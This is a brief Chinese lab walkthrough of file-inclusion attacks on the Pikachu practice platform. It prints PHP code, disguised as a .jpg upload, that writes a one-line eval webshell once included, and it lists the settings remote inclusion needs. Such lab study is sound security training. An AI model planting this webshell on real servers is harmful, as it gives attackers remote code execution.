pikachu之 File Inclusion

pikachu之 File Inclusion

准备好一段创建一句话木马的php代码,后缀改为jpg

<?php
$mima="'".'ma'."'";
touch ("testshell.php");
$file = fopen("testshell.php","w");
$write='<?php  @eval($_POST['.$mima.']); ?>';
echo fwrite($file,$write);
fclose($file);
echo "已经创建一句话php文件";
?>

上传到服务器,路径为http://127.0.0.1/pikachu-master/vul/unsafeupload/uploads/1.jpg
File Inclusion(local)

看一下源码,可以看到包含的方式

进行文件包含

已经在服务器创建一句话木马文件

File Inclusion(remote)
远程文件包含就是包含非本服务器上的文件,需要把php.ini文件中的allow_url_fopen和allow_url_include都设置为On,就可以包含http://xxxx/xxx/xxx/…了